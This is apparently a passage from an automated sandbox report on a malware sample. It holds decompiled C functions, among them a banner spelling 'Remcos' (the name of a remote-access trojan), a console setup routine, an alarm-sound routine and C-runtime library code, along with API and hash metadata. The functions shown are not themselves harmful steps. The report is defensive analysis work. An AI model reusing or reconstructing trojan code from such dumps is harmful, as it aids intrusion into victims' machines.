			}




                                    0x00416b7b
                                    0x00416b80
                                    0x00416baf
                                    0x00416bbb
                                    0x00416b82
                                    0x00416b84
                                    0x00416b95
                                    0x00416b9b
                                    0x00416b9b
                                    0x00416fda
                                    0x00416fde
                                    0x00416fea
                                    0x00416ff6
                                    0x00417003

                                    APIs
                                    • CreateThread.KERNEL32 ref: 00416B95
                                    • ShowWindow.USER32(00000009), ref: 00416BAF
                                    • SetForegroundWindow.USER32 ref: 00416BBB
                                      • Part of subcall function 0041CCED: AllocConsole.KERNEL32(00475338), ref: 0041CCF6
                                      • Part of subcall function 0041CCED: ShowWindow.USER32(00000000,00000000), ref: 0041CD0F
                                      • Part of subcall function 0041CCED: SetConsoleOutputCP.KERNEL32(000004E4), ref: 0041CD34
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Window$ConsoleShow$AllocCreateForegroundOutputThread
                                    • String ID: !D@$Cgt
                                    • API String ID: 3446828153-1200707320
                                    • Opcode ID: bc6632fb4ccd9613da39365cf00a73982299fd9c84ff1da89689f155896169b6
                                    • Instruction ID: c508c68386d740bb20538c12f5809de204a7019acd26a44fc2f028f6ca539ecb
                                    • Opcode Fuzzy Hash: bc6632fb4ccd9613da39365cf00a73982299fd9c84ff1da89689f155896169b6
                                    • Instruction Fuzzy Hash: E0F05E71148201EED720AB62EC45ABA7759EB50355F00483BFC0AD14F2DB389C85D65E
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0041AD12 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30sleepCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 87%
                                    			E0041AD12(WCHAR* __ecx) {
				void* __edi;
				void* _t7;
				void* _t11;
				void* _t12;
				WCHAR* _t14;
				void* _t16;
				void* _t17;

				_t18 = _t17 - 0x18;
				_t14 = __ecx;
				E00402093(_t7, _t17 - 0x18, _t11, _t16, "Alarm triggered");
				E00402093(_t7, _t18 - 0x18, _t11, _t16, "!");
				E0041B441(_t7, _t12);
				PlaySoundW(_t14, GetModuleHandleA(0), 0x20009);
				Sleep(0x2710);
				return PlaySoundW(0, 0, 0);
			}










                                    0x0041ad14
                                    0x0041ad17
                                    0x0041ad20
                                    0x0041ad2f
                                    0x0041ad34
                                    0x0041ad52
                                    0x0041ad59
                                    0x0041ad66

                                    APIs
                                      • Part of subcall function 0041B441: GetLocalTime.KERNEL32(00000000), ref: 0041B45B
                                    • GetModuleHandleA.KERNEL32(00000000,00020009), ref: 0041AD44
                                    • PlaySoundW.WINMM(00000000,00000000), ref: 0041AD52
                                    • Sleep.KERNEL32(00002710), ref: 0041AD59
                                    • PlaySoundW.WINMM(00000000,00000000,00000000), ref: 0041AD62
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: PlaySound$HandleLocalModuleSleepTime
                                    • String ID: Alarm triggered
                                    • API String ID: 614609389-2816303416
                                    • Opcode ID: 9a53e08a58fb35201350a5d189ab1ee4883349b83153c0b4a001a0772c4da32a
                                    • Instruction ID: 1410b335dcc69dbc1c8d0a5f52a5e4668835ef2d127c2c763219b3ead3f7da57
                                    • Opcode Fuzzy Hash: 9a53e08a58fb35201350a5d189ab1ee4883349b83153c0b4a001a0772c4da32a
                                    • Instruction Fuzzy Hash: 91E01226B44260779650337B6D4FD6F3D28DAC2B5174100BEFA0666192D9580C5586FB
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0041CCAA Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 54%
                                    			E0041CCAA() {
				struct _CONSOLE_SCREEN_BUFFER_INFO _v28;
				void* _t9;
				void* _t12;

				_t9 = GetStdHandle(0xfffffff5);
				GetConsoleScreenBufferInfo(_t9,  &_v28);
				SetConsoleTextAttribute(_t9, 0xc);
				_push("\n\t ______                              \n\t(_____ \\                             \n\t _____) )_____ ____   ____ ___   ___ \n\t|  __  /| ___ |    \\ / ___) _ \\ /___)\n\t| |  \\ \\| ____| | | ( (__| |_| |___ |\n\t|_|   |_|_____)_|_|_|\\____)___/(___/ \n");
				E00407200(_t12);
				return SetConsoleTextAttribute(_t9, _v28.wAttributes & 0x0000ffff);
			}






                                    0x0041ccba
                                    0x0041ccc1
                                    0x0041ccce
                                    0x0041ccd4
                                    0x0041ccd9
                                    0x0041ccec

                                    APIs
                                    • GetStdHandle.KERNEL32(000000F5,00000000,?,?,?,?,?,?,0041CD3F), ref: 0041CCB4
                                    • GetConsoleScreenBufferInfo.KERNEL32(00000000,?,?,?,?,?,?,?,0041CD3F), ref: 0041CCC1
                                    • SetConsoleTextAttribute.KERNEL32(00000000,0000000C,?,?,?,?,?,?,0041CD3F), ref: 0041CCCE
                                    • SetConsoleTextAttribute.KERNEL32(00000000,?,?,?,?,?,?,?,0041CD3F), ref: 0041CCE1
                                    Strings
                                    • ______ (_____ \ _____) )_____ ____ ____ ___ ___ | __ /| ___ | \ / ___) _ \ /___)| | \ \| ____| | | ( (__| |_| |___ ||_| |_|_____)_|_|_|\____)___/(___/ , xrefs: 0041CCD4
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Console$AttributeText$BufferHandleInfoScreen
                                    • String ID: ______ (_____ \ _____) )_____ ____ ____ ___ ___ | __ /| ___ | \ / ___) _ \ /___)| | \ \| ____| | | ( (__| |_| |___ ||_| |_|_____)_|_|_|\____)___/(___/
                                    • API String ID: 3024135584-2418719853
                                    • Opcode ID: 6f5256d7e0ba85c7ce47e08c7f15e1f3a52edcdfb45546c7679fd45dc9216703
                                    • Instruction ID: 0b88db63cd78dea0703aeaf814a7171c31f7e2e6e0b1944ffb711cb25cf7542c
                                    • Opcode Fuzzy Hash: 6f5256d7e0ba85c7ce47e08c7f15e1f3a52edcdfb45546c7679fd45dc9216703
                                    • Instruction Fuzzy Hash: B4E04872904315E7E31027B5EC4DDAB7B7CE745713B100266FA12915D39A749C40C6B5
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 004412EA Relevance: 7.7, APIs: 5, Instructions: 222COMMONLIBRARYCODE
                                    Download Yara Rule
                                    C-Code - Quality: 96%
                                    			E004412EA(void* __ebx, void* __edx, void* __edi, void* __esi, char* _a4, short* _a8, int _a12, intOrPtr _a16) {
				signed int _v8;
				char _v16;
				int _v20;
				int _v24;
				char* _v28;
				int _v32;
				char _v36;
				intOrPtr _v44;
				char _v48;
				signed int _t59;
				char* _t61;
				intOrPtr _t63;
				int _t64;
				intOrPtr* _t65;
				signed int _t68;
				intOrPtr* _t71;
				short* _t73;
				int _t74;
				int _t76;
				char _t78;
				short* _t83;
				short _t85;
				int _t91;
				int _t93;
				char* _t98;
				int _t103;
				char* _t105;
				void* _t106;
				intOrPtr _t108;
				intOrPtr _t109;
				int _t110;
				short* _t113;
				int _t114;
				int _t116;
				signed int _t117;

				_t106 = __edx;
				_t59 =  *0x47100c; // 0xbb2d687
				_v8 = _t59 ^ _t117;
				_t61 = _a4;
				_t91 = _a12;
				_t116 = 0;
				_v28 = _t61;
				_v20 = 0;
				_t113 = _a8;
				_v24 = _t113;
				if(_t61 == 0 || _t91 != 0) {
					if(_t113 != 0) {
						E0043A707(_t91,  &_v48, _t106, _a16);
						_t98 = _v28;
						if(_t98 == 0) {
							_t63 = _v44;
							if( *((intOrPtr*)(_t63 + 0xa8)) != _t116) {
								_t64 = WideCharToMultiByte( *(_t63 + 8), _t116, _t113, 0xffffffff, _t116, _t116, _t116,  &_v20);
								if(_t64 == 0 || _v20 != _t116) {
									L55:
									_t65 = E0044052D();
									_t114 = _t113 | 0xffffffff;
									 *_t65 = 0x2a;
									goto L56;
								} else {
									_t53 = _t64 - 1; // -1
									_t114 = _t53;
									L56:
									if(_v36 != 0) {
										 *(_v48 + 0x350) =  *(_v48 + 0x350) & 0xfffffffd;
									}
									goto L59;
								}
							}
							_t68 =  *_t113 & 0x0000ffff;
							if(_t68 == 0) {
								L51:
								_t114 = _t116;
								goto L56;
							}
							while(_t68 <= 0xff) {
								_t113 =  &(_t113[1]);
								_t116 = _t116 + 1;
								_t68 =  *_t113 & 0x0000ffff;
								if(_t68 != 0) {
									continue;
								}
								goto L51;
							}
							goto L55;
						}
						_t108 = _v44;
						if( *((intOrPtr*)(_t108 + 0xa8)) != _t116) {
							if( *((intOrPtr*)(_t108 + 4)) != 1) {
								_t114 = WideCharToMultiByte( *(_t108 + 8), _t116, _t113, 0xffffffff, _t98, _t91, _t116,  &_v20);
								if(_t114 == 0) {
									if(_v20 != _t116 || GetLastError() != 0x7a) {
										L45:
										_t71 = E0044052D();
										_t116 = _t116 | 0xffffffff;
										 *_t71 = 0x2a;
										goto L51;
									} else {
										if(_t91 == 0) {
											goto L56;
										}
										_t73 = _v24;
										while(1) {
											_t109 = _v44;
											_t103 =  *(_t109 + 4);
											if(_t103 > 5) {
												_t103 = 5;
											}
											_t74 = WideCharToMultiByte( *(_t109 + 8), _t116, _t73, 1,  &_v16, _t103, _t116,  &_v20);
											_t93 = _a12;
											_t110 = _t74;
											if(_t110 == 0 || _v20 != _t116 || _t110 < 0 || _t110 > 5) {
												goto L55;
											}
											if(_t110 + _t114 > _t93) {
												goto L56;
											}
											_t76 = _t116;
											_v32 = _t76;
											if(_t110 <= 0) {
												L43:
												_t73 = _v24 + 2;
												_v24 = _t73;
												if(_t114 < _t93) {
													continue;
												}
												goto L56;
											}
											_t105 = _v28;
											while(1) {
												_t78 =  *((intOrPtr*)(_t117 + _t76 - 0xc));
												 *((char*)(_t105 + _t114)) = _t78;
												if(_t78 == 0) {
													goto L56;
												}
												_t76 = _v32 + 1;
												_t114 = _t114 + 1;
												_v32 = _t76;
												if(_t76 < _t110) {
													continue;
												}
												goto L43;
											}
											goto L56;
										}
										goto L55;
									}
								}
								if(_v20 != _t116) {
									goto L45;
								}
								_t28 = _t114 - 1; // -1
								_t116 = _t28;
								goto L51;
							}
							if(_t91 == 0) {
								L21:
								_t116 = WideCharToMultiByte( *(_t108 + 8), _t116, _t113, _t91, _t98, _t91, _t116,  &_v20);
								if(_t116 == 0 || _v20 != 0) {
									goto L45;
								} else {
									if(_v28[_t116 - 1] == 0) {
										_t116 = _t116 - 1;
									}
									goto L51;
								}
							}
							_t83 = _t113;
							_v24 = _t91;
							while( *_t83 != _t116) {
								_t83 =  &(_t83[1]);
								_t16 =  &_v24;
								 *_t16 = _v24 - 1;
								if( *_t16 != 0) {
									continue;
								}
								break;
							}
							if(_v24 != _t116 &&  *_t83 == _t116) {
								_t91 = (_t83 - _t113 >> 1) + 1;
							}
							goto L21;
						}
						if(_t91 == 0) {
							goto L51;
						}
						while( *_t113 <= 0xff) {
							_t98[_t116] =  *_t113;
							_t85 =  *_t113;
							_t113 =  &(_t113[1]);
							if(_t85 == 0) {
								goto L51;
							}
							_t116 = _t116 + 1;
							if(_t116 < _t91) {
								continue;
							}
							goto L51;
						}
						goto L45;
					}
					 *((intOrPtr*)(E0044052D())) = 0x16;
					E0043BC3C();
					goto L59;
				} else {
					L59:
					return E00434F3B(_v8 ^ _t117);
				}
			}






































                                    0x004412ea
                                    0x004412f2
                                    0x004412f9
                                    0x004412fc
                                    0x00441300
                                    0x00441304
                                    0x00441306
                                    0x00441309
                                    0x0044130d
                                    0x00441310
                                    0x00441315
                                    0x00441324
                                    0x00441344
                                    0x00441349
                                    0x0044134e
                                    0x004414eb
                                    0x004414f4
                                    0x00441526
                                    0x0044152e
                                    0x0044153a
                                    0x0044153a
                                    0x0044153f
                                    0x00441542
                                    0x00000000
                                    0x00441535
                                    0x00441535
                                    0x00441535
                                    0x00441548
                                    0x0044154c
                                    0x00441551
                                    0x00441551
                                    0x00000000
                                    0x00441558
                                    0x0044152e
                                    0x004414f6
                                    0x004414fc
                                    0x00441514
                                    0x00441514
                                    0x00000000
                                    0x00441514
                                    0x00441503
                                    0x00441508
                                    0x0044150b
                                    0x0044150c
                                    0x00441512
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00441512
                                    0x00000000
                                    0x00441503
                                    0x00441354
                                    0x0044135d
                                    0x00441397
                                    0x00441410
                                    0x00441414
                                    0x0044142a
                                    0x004414db
                                    0x004414db
                                    0x004414e0
                                    0x004414e3
                                    0x00000000
                                    0x0044143f
                                    0x00441441
                                    0x00000000
                                    0x00000000
                                    0x00441447
                                    0x0044144a
                                    0x0044144a
                                    0x0044144d
                                    0x00441453
                                    0x00441457
                                    0x00441457
                                    0x00441469
                                    0x0044146f
                                    0x00441472
                                    0x00441476
                                    0x00000000
                                    0x00000000
                                    0x0044149b
                                    0x00000000
                                    0x00000000
                                    0x004414a1
                                    0x004414a3
                                    0x004414a8
                                    0x004414c8
                                    0x004414cb
                                    0x004414ce
                                    0x004414d3
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x004414d9
                                    0x004414aa
                                    0x004414ad
                                    0x004414ad
                                    0x004414b1
                                    0x004414b6
                                    0x00000000
                                    0x00000000
                                    0x004414bf
                                    0x004414c0
                                    0x004414c1
                                    0x004414c6
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x004414c6
                                    0x00000000
                                    0x004414ad
                                    0x00000000
                                    0x0044144a
                                    0x0044142a
                                    0x00441419
                                    0x00000000
                                    0x00000000
                                    0x0044141f
                                    0x0044141f
                                    0x00000000
                                    0x0044141f
                                    0x0044139b
                                    0x004413c1
                                    0x004413d4
                                    0x004413d8
                                    0x00000000
                                    0x004413e8
                                    0x004413f0
                                    0x004413f6
                                    0x004413f6
                                    0x00000000
                                    0x004413f0
                                    0x004413d8
                                    0x0044139d
                                    0x0044139f
                                    0x004413a2
                                    0x004413a7
                                    0x004413aa
                                    0x004413aa
                                    0x004413ae
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x004413ae
                                    0x004413b3
                                    0x004413c0
                                    0x004413c0
                                    0x00000000
                                    0x004413b3
                                    0x00441361
                                    0x00000000
                                    0x00000000
                                    0x0044136c
                                    0x00441377
                                    0x0044137a
                                    0x0044137d
                                    0x00441383
                                    0x00000000
                                    0x00000000
                                    0x00441389
                                    0x0044138c
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x0044138e
                                    0x00000000
                                    0x0044136c
                                    0x0044132b
                                    0x00441331
                                    0x00000000
                                    0x0044131b
                                    0x0044155a
                                    0x0044156a
                                    0x0044156a

                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 142ba21da1110888b7575ac3c17cce9c5c3346c5f5de57ddb1c4218e965c1a6b
                                    • Instruction ID: 3a7a305b88174915657629899e204e244075d050f6626d82cf55c3f8af51006d
                                    • Opcode Fuzzy Hash: 142ba21da1110888b7575ac3c17cce9c5c3346c5f5de57ddb1c4218e965c1a6b
                                    • Instruction Fuzzy Hash: EA71B331900256ABEF21CF55C884AFFBB75EF85324F54012BE816972A1D7788CC1CBA9
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00444C4B Relevance: 7.7, APIs: 5, Instructions: 187COMMONLIBRARYCODE
                                    Download Yara Rule
                                    C-Code - Quality: 73%
                                    			E00444C4B(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v36;
				signed int _v40;
				intOrPtr _v44;
				signed int _v56;
				char _v276;
				short _v278;
				short _v280;
				char _v448;
				signed int _v452;
				signed int _v456;
				short _v458;
				intOrPtr _v460;
				intOrPtr _v464;
				signed int _v468;
				signed int _v472;
				intOrPtr _v508;
				char _v536;
				signed int _v540;
				intOrPtr _v544;
				signed int _v556;
				char _v708;
				signed int _v712;
				signed int _v716;
				short _v718;
				signed int* _v720;
				signed int _v724;
				signed int _v728;
				signed int _v732;
				signed int* _v736;
				signed int _v740;
				signed int _v744;
				signed int _v748;
				signed int _v752;
				char _v820;
				char _v1248;
				char _v1256;
				intOrPtr _v1276;
				signed int _v1292;
				signed int _t241;
				void* _t244;
				signed int _t247;
				signed int _t249;
				signed int _t255;
				signed int _t256;
				signed int _t257;
				signed int _t258;
				signed int _t259;
				signed int _t261;
				signed int _t263;
				void* _t265;
				signed int _t266;
				signed int _t267;
				signed int _t268;
				signed int _t270;
				signed int _t273;
				signed int _t280;
				signed int _t281;
				signed int _t282;
				intOrPtr _t283;
				signed int _t286;
				signed int _t290;
				signed int _t291;
				intOrPtr _t293;
				signed int _t296;
				signed int _t297;
				signed int _t299;
				signed int _t319;
				signed int _t320;
				signed int _t323;
				signed int _t328;
				void* _t330;
				signed int _t332;
				void* _t333;
				intOrPtr _t334;
				signed int _t339;
				signed int _t340;
				intOrPtr* _t343;
				signed int _t357;
				signed int _t359;
				signed int _t361;
				intOrPtr* _t362;
				signed int _t364;
				signed int _t370;
				intOrPtr* _t374;
				intOrPtr* _t377;
				void* _t380;
				intOrPtr* _t381;
				intOrPtr* _t382;
				signed int _t393;
				signed int _t396;
				intOrPtr* _t397;
				signed int _t399;
				signed int* _t403;
				intOrPtr* _t410;
				intOrPtr* _t411;
				signed int _t421;
				short _t422;
				void* _t424;
				signed int _t425;
				signed int _t427;
				intOrPtr _t428;
				signed int _t431;
				intOrPtr _t432;
				signed int _t434;
				signed int _t437;
				intOrPtr _t443;
				signed int _t444;
				signed int _t446;
				signed int _t447;
				signed int _t450;
				signed int _t452;
				signed int _t456;
				signed int* _t457;
				intOrPtr* _t458;
				short _t459;
				void* _t461;
				signed int _t463;
				signed int _t465;
				void* _t467;
				void* _t468;
				void* _t470;
				signed int _t471;
				void* _t472;
				void* _t474;
				signed int _t475;
				void* _t477;
				void* _t479;
				intOrPtr _t491;

				_t420 = __edx;
				_t461 = _t467;
				_t468 = _t467 - 0xc;
				_push(__ebx);
				_push(__esi);
				_v12 = 1;
				_t357 = E00446087(__ecx, 0x6a6);
				_t240 = 0;
				_pop(_t370);
				if(_t357 == 0) {
					L20:
					return _t240;
				} else {
					_push(__edi);
					_t2 = _t357 + 4; // 0x4
					_t427 = _t2;
					 *_t427 = 0;
					 *_t357 = 1;
					_t443 = _a4;
					_t4 = _t443 + 0x30; // 0x44444a
					_t241 = _t4;
					_push( *_t241);
					_v16 = _t241;
					_push(0x45d5a0);
					_push( *0x45d45c);
					E00444B8A(_t357, _t370, __edx, _t427, _t443, _t427, 0x351, 3);
					_t470 = _t468 + 0x18;
					_v8 = 0x45d45c;
					while(1) {
						L2:
						_t244 = E0044FED8(_t427, 0x351, ";");
						_t471 = _t470 + 0xc;
						if(_t244 != 0) {
							break;
						} else {
							_t8 = _v16 + 0x10; // 0x10
							_t410 = _t8;
							_t339 =  *_v16;
							_v16 = _t410;
							_t411 =  *_t410;
							goto L4;
						}
						while(1) {
							L4:
							_t420 =  *_t339;
							if(_t420 !=  *_t411) {
								break;
							}
							if(_t420 == 0) {
								L8:
								_t340 = 0;
							} else {
								_t420 =  *((intOrPtr*)(_t339 + 2));
								if(_t420 !=  *((intOrPtr*)(_t411 + 2))) {
									break;
								} else {
									_t339 = _t339 + 4;
									_t411 = _t411 + 4;
									if(_t420 != 0) {
										continue;
									} else {
										goto L8;
									}
								}
							}
							L10:
							asm("sbb eax, eax");
							_t370 = _v8 + 0xc;
							_v8 = _t370;
							_v12 = _v12 &  !( ~_t340);
							_t343 = _v16;
							_v16 = _t343;
							_push( *_t343);
							_push(0x45d5a0);
							_push( *_t370);
							E00444B8A(_t357, _t370, _t420, _t427, _t443, _t427, 0x351, 3);
							_t470 = _t471 + 0x18;
							if(_v8 < 0x45d48c) {
								goto L2;
							} else {
								if(_v12 != 0) {
									E00446652(_t357);
									_t31 = _t443 + 0x28; // 0x30ff068b
									_t434 = _t427 | 0xffffffff;
									__eflags =  *_t31;
									if(__eflags != 0) {
										asm("lock xadd [ecx], eax");
										if(__eflags == 0) {
											_t32 = _t443 + 0x28; // 0x30ff068b
											E00446652( *_t32);
										}
									}
									_t33 = _t443 + 0x24; // 0x30ff0c46
									__eflags =  *_t33;
									if( *_t33 != 0) {
										asm("lock xadd [eax], edi");
										__eflags = _t434 == 1;
										if(_t434 == 1) {
											_t34 = _t443 + 0x24; // 0x30ff0c46
											E00446652( *_t34);
										}
									}
									 *(_t443 + 0x24) = 0;
									 *(_t443 + 0x1c) = 0;
									 *(_t443 + 0x28) = 0;
									 *((intOrPtr*)(_t443 + 0x20)) = 0;
									_t39 = _t443 + 0x40; // 0x10468b00
									_t240 =  *_t39;
								} else {
									_t20 = _t443 + 0x28; // 0x30ff068b
									_t437 = _t427 | 0xffffffff;
									_t491 =  *_t20;
									if(_t491 != 0) {
										asm("lock xadd [ecx], eax");
										if(_t491 == 0) {
											_t21 = _t443 + 0x28; // 0x30ff068b
											E00446652( *_t21);
										}
									}
									_t22 = _t443 + 0x24; // 0x30ff0c46
									if( *_t22 != 0) {
										asm("lock xadd [eax], edi");
										if(_t437 == 1) {
											_t23 = _t443 + 0x24; // 0x30ff0c46
											E00446652( *_t23);
										}
									}
									 *(_t443 + 0x24) =  *(_t443 + 0x24) & 0x00000000;
									_t26 = _t357 + 4; // 0x4
									_t240 = _t26;
									 *(_t443 + 0x1c) =  *(_t443 + 0x1c) & 0x00000000;
									 *(_t443 + 0x28) = _t357;
									 *((intOrPtr*)(_t443 + 0x20)) = _t240;
								}
								goto L20;
							}
							goto L130;
						}
						asm("sbb eax, eax");
						_t340 = _t339 | 0x00000001;
						__eflags = _t340;
						goto L10;
					}
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E0043BC69();
					asm("int3");
					_push(_t461);
					_t463 = _t471;
					_t472 = _t471 - 0x1d0;
					_t247 =  *0x47100c; // 0xbb2d687
					_v56 = _t247 ^ _t463;
					_t249 = _v40;
					_push(_t357);
					_push(_t443);
					_t444 = _v36;
					_push(_t427);
					_t428 = _v44;
					_v508 = _t428;
					__eflags = _t249;
					if(_t249 == 0) {
						_v456 = 1;
						_v468 = 0;
						_t359 = 0;
						_v452 = 0;
						__eflags = _t444;
						if(__eflags == 0) {
							L79:
							E00444C4B(_t359, _t370, _t420, _t428, _t444, __eflags, _t428);
							goto L80;
						} else {
							__eflags =  *_t444 - 0x4c;
							if( *_t444 != 0x4c) {
								L58:
								_push(0);
								_t255 = E00444813(_t359, _t420, _t428, _t444, _t444,  &_v276, 0x83,  &_v448, 0x55);
								_t474 = _t472 + 0x18;
								__eflags = _t255;
								if(_t255 != 0) {
									_t370 = 0;
									__eflags = 0;
									_t76 = _t428 + 0x20; // 0x44443a
									_t421 = _t76;
									_t446 = 0;
									_v452 = _t421;
									do {
										__eflags = _t446;
										if(_t446 == 0) {
											L73:
											_t256 = _v456;
										} else {
											_t374 =  *_t421;
											_t257 =  &_v276;
											while(1) {
												__eflags =  *_t257 -  *_t374;
												_t428 = _v464;
												if( *_t257 !=  *_t374) {
													break;
												}
												__eflags =  *_t257;
												if( *_t257 == 0) {
													L66:
													_t370 = 0;
													_t258 = 0;
												} else {
													_t422 =  *((intOrPtr*)(_t257 + 2));
													__eflags = _t422 -  *((intOrPtr*)(_t374 + 2));
													_v458 = _t422;
													_t421 = _v452;
													if(_t422 !=  *((intOrPtr*)(_t374 + 2))) {
														break;
													} else {
														_t257 = _t257 + 4;
														_t374 = _t374 + 4;
														__eflags = _v458;
														if(_v458 != 0) {
															continue;
														} else {
															goto L66;
														}
													}
												}
												L68:
												__eflags = _t258;
												if(_t258 == 0) {
													_t359 = _t359 + 1;
													__eflags = _t359;
													goto L73;
												} else {
													_t259 =  &_v276;
													_push(_t259);
													_push(_t446);
													_push(_t428);
													L83();
													_t421 = _v452;
													_t474 = _t474 + 0xc;
													__eflags = _t259;
													if(_t259 == 0) {
														_t370 = 0;
														_t256 = 0;
														_v456 = 0;
													} else {
														_t359 = _t359 + 1;
														_t370 = 0;
														goto L73;
													}
												}
												goto L74;
											}
											asm("sbb eax, eax");
											_t258 = _t257 | 0x00000001;
											_t370 = 0;
											__eflags = 0;
											goto L68;
										}
										L74:
										_t446 = _t446 + 1;
										_t421 = _t421 + 0x10;
										_v452 = _t421;
										__eflags = _t446 - 5;
									} while (_t446 <= 5);
									__eflags = _t256;
									if(__eflags != 0) {
										goto L79;
									} else {
										__eflags = _t359;
										goto L77;
									}
								}
								goto L80;
							} else {
								__eflags =  *(_t444 + 2) - 0x43;
								if( *(_t444 + 2) != 0x43) {
									goto L58;
								} else {
									__eflags =  *((short*)(_t444 + 4)) - 0x5f;
									if( *((short*)(_t444 + 4)) != 0x5f) {
										goto L58;
									} else {
										while(1) {
											_t261 = E00451038(_t444, 0x45d598);
											_t361 = _t261;
											_v472 = _t361;
											_pop(_t376);
											__eflags = _t361;
											if(_t361 == 0) {
												break;
											}
											_t263 = _t261 - _t444;
											__eflags = _t263;
											_v456 = _t263 >> 1;
											if(_t263 == 0) {
												break;
											} else {
												_t265 = 0x3b;
												__eflags =  *_t361 - _t265;
												if( *_t361 == _t265) {
													break;
												} else {
													_t431 = _v456;
													_t362 = 0x45d45c;
													_v460 = 1;
													do {
														_t266 = E00450FFE( *_t362, _t444, _t431);
														_t472 = _t472 + 0xc;
														__eflags = _t266;
														if(_t266 != 0) {
															goto L45;
														} else {
															_t377 =  *_t362;
															_t420 = _t377 + 2;
															do {
																_t334 =  *_t377;
																_t377 = _t377 + 2;
																__eflags = _t334 - _v468;
															} while (_t334 != _v468);
															_t376 = _t377 - _t420 >> 1;
															__eflags = _t431 - _t377 - _t420 >> 1;
															if(_t431 != _t377 - _t420 >> 1) {
																goto L45;
															}
														}
														break;
														L45:
														_v460 = _v460 + 1;
														_t362 = _t362 + 0xc;
														__eflags = _t362 - 0x45d48c;
													} while (_t362 <= 0x45d48c);
													_t359 = _v472 + 2;
													_t267 = E00450FAE(_t376, _t359, ";");
													_t428 = _v464;
													_t447 = _t267;
													_pop(_t380);
													__eflags = _t447;
													if(_t447 != 0) {
														L48:
														__eflags = _v460 - 5;
														if(_v460 > 5) {
															_t268 = _v452;
															goto L54;
														} else {
															_push(_t447);
															_t270 = E0045001A(_t380,  &_v276, 0x83, _t359);
															_t475 = _t472 + 0x10;
															__eflags = _t270;
															if(_t270 != 0) {
																L82:
																_push(0);
																_push(0);
																_push(0);
																_push(0);
																_push(0);
																E0043BC69();
																asm("int3");
																_push(_t463);
																_t465 = _t475;
																_t273 =  *0x47100c; // 0xbb2d687
																_v556 = _t273 ^ _t465;
																_push(_t359);
																_t364 = _v540;
																_push(_t447);
																_push(_t428);
																_t432 = _v544;
																_v1292 = _t364;
																_v1276 = E004480E5(_t364, _t380, _t420) + 0x278;
																_push( &_v1256);
																_t280 = E00444813(_t364, _t420, _t432, _v536, _v536,  &_v820, 0x83,  &_v1248, 0x55);
																_t477 = _t475 - 0x2e4 + 0x18;
																__eflags = _t280;
																if(_t280 != 0) {
																	_t101 = _t364 + 2; // 0x6
																	_t450 = _t101 << 4;
																	__eflags = _t450;
																	_t281 =  &_v280;
																	_v724 = _t450;
																	_t381 =  *((intOrPtr*)(_t450 + _t432));
																	while(1) {
																		_v712 = _v712 & 0x00000000;
																		__eflags =  *_t281 -  *_t381;
																		_t452 = _v724;
																		if( *_t281 !=  *_t381) {
																			break;
																		}
																		__eflags =  *_t281;
																		if( *_t281 == 0) {
																			L91:
																			_t282 = _v712;
																		} else {
																			_t459 =  *((intOrPtr*)(_t281 + 2));
																			__eflags = _t459 -  *((intOrPtr*)(_t381 + 2));
																			_v718 = _t459;
																			_t452 = _v724;
																			if(_t459 !=  *((intOrPtr*)(_t381 + 2))) {
																				break;
																			} else {
																				_t281 = _t281 + 4;
																				_t381 = _t381 + 4;
																				__eflags = _v718;
																				if(_v718 != 0) {
																					continue;
																				} else {
																					goto L91;
																				}
																			}
																		}
																		L93:
																		__eflags = _t282;
																		if(_t282 != 0) {
																			_t382 =  &_v280;
																			_t424 = _t382 + 2;
																			do {
																				_t283 =  *_t382;
																				_t382 = _t382 + 2;
																				__eflags = _t283 - _v712;
																			} while (_t283 != _v712);
																			_v728 = (_t382 - _t424 >> 1) + 1;
																			_t286 = E00446087(_t382 - _t424 >> 1, 4 + ((_t382 - _t424 >> 1) + 1) * 2);
																			_v740 = _t286;
																			__eflags = _t286;
																			if(_t286 == 0) {
																				goto L84;
																			} else {
																				_v732 =  *((intOrPtr*)(_t452 + _t432));
																				_t125 = _t364 * 4; // 0xcf25
																				_v744 =  *((intOrPtr*)(_t432 + _t125 + 0xa0));
																				_t128 = _t432 + 8; // 0x8b56ff8b
																				_v748 =  *_t128;
																				_t391 =  &_v280;
																				_v720 = _t286 + 4;
																				_t290 = E00447A31(_t286 + 4, _v728,  &_v280);
																				_t479 = _t477 + 0xc;
																				__eflags = _t290;
																				if(_t290 != 0) {
																					_t291 = _v712;
																					_push(_t291);
